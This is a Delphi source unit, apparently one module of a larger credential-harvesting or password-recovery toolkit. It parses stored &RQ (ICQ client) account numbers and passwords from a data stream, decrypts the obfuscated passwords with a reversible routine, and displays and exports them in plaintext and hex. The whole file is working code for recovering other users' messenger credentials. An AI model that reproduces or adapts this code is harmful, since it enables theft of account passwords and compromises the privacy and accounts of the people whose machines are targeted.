unit Mod_RQ;

interface

uses
  Windows, Mod_Common, Mod_ICQ2003, Classes, SysUtils, xBase;

type
  TModuleRQ = class(TModule)
  private
    procedure FreeUINList;
    function DecryptPass(const Pass:string):string;
  protected
    class function GetModuleName: String; override;
    class function GetModuleVersion: Integer; override;
    class function GetModuleID: Integer; override;
    function GetIsEmpty: Boolean; override;
  public
    UINList: TList;

    procedure Run; override;
    destructor Destroy; override;

    function GetAsText: String; override;
    procedure GetAsTree; override;

    procedure ExportModule(DBStream: TMemoryStream); override;
    procedure ImportModule(DBStream: TMemoryStream); override;    
  end;

implementation

const
  TYPE_RQ_UIN		  = 0;
  TYPE_RQ_PASS		  = 1;

{ TModuleRQ }

destructor TModuleRQ.Destroy;
begin
  FreeUINList;
  inherited;
end;

procedure TModuleRQ.FreeUINList;
var
  i: Integer;
begin
  if UINList = nil then Exit;
  for i := 0 to UINList.Count-1 do begin
    P2003UINItem(UINList.Items[i]).UIN := '';
    P2003UINItem(UINList.Items[i]).Password := '';
    Dispose(UINList.Items[i]);
  end;
  UINList.Free;
end;

function TModuleRQ.DecryptPass(const Pass:string):string;
var
  i: Integer;
begin
  Result :='';
  i := Length(Pass);
  while i > 0 do begin
    if Pass[i] < #70 then begin
      Result := Result + Char((Ord(Pass[i-1])-40) shl 4 + Ord(Pass[i-2]) - 40);
      Dec(i,2);
    end;
    Dec(i);
  end;
end;

procedure TModuleRQ.Run;
var
  DataItem: TDataItem;
  P: P2003UINItem;
begin
  inherited;

  UINList := TList.Create;

  P := nil;
  while HasMoreData do begin
    DataItem := ReadData;

    case DataItem.cType of
      TYPE_RQ_UIN: begin
        New(P);
        P.UIN := DataItem.Data;
        UINList.Add(P);
      end;
      TYPE_RQ_PASS: begin
        Delete(DataItem.Data, 1, 17);
        if P <> nil then P.Password := DecryptPass(DataItem.Data);
      end;
    else begin
        FError := ERR_UNK_ITEM;
        Exit;
      end;
    end;
  end;
end;

function TModuleRQ.GetAsText: String;
var
  i: Integer;
begin
  Result := '';
  
  for i := 0 to UINList.Count-1 do begin
    Result := Result + 'UIN: ' + P2003UINItem(UINList.Items[i]).UIN + #13#10;
    Result := Result + 'Password: ' + P2003UINItem(UINList.Items[i]).Password + #13#10;
    Result := Result + #13#10;
  end;
end;

class function TModuleRQ.GetModuleName: String;
begin
  Result := '&RQ';
end;

procedure TModuleRQ.GetAsTree;
var
  i: Integer;
begin
  Append(ModuleName, 'Этот модуль содержит пароли &RQ (крысы)', ICON_FOLDER);
  MoveIn;
  for i := 0 to UINList.Count-1 do
    Append(P2003UINItem(UINList.Items[i]).UIN, GenHTMLList(['UIN: ' + P2003UINItem(UINList.Items[i]).UIN, 'Password: ' + P2003UINItem(UINList.Items[i]).Password + ' (hex: ' + PassToHex(P2003UINItem(UINList.Items[i]).Password) + ')']), ICON_RQ);
  MoveOut;
end;

class function TModuleRQ.GetModuleID: Integer;
begin
  Result := MODULE_RQ;
end;

class function TModuleRQ.GetModuleVersion: Integer;
begin
  Result := 0;
end;

function TModuleRQ.GetIsEmpty: Boolean;
begin
  Result := UINList.Count = 0;
end;

procedure TModuleRQ.ExportModule(DBStream: TMemoryStream);
var
  i: Integer;
begin
  inherited;

  ExportData([UINList.Count]);
  for i := 0 to UINList.Count-1 do
    with P2003UINItem(UINList.Items[i])^ do
      ExportData([UIN, Password]);
end;

procedure TModuleRQ.ImportModule(DBStream: TMemoryStream);
var
  i: Integer;
  P: P2003UINItem;
begin
  inherited;

  UINList := TList.Create;
    
  for i := 0 to ImportData-1 do begin
    New(P); UINList.Add(P);
    with P^ do begin
      UIN := ImportData;
      Password := ImportData;
    end;
  end;
end;

end.
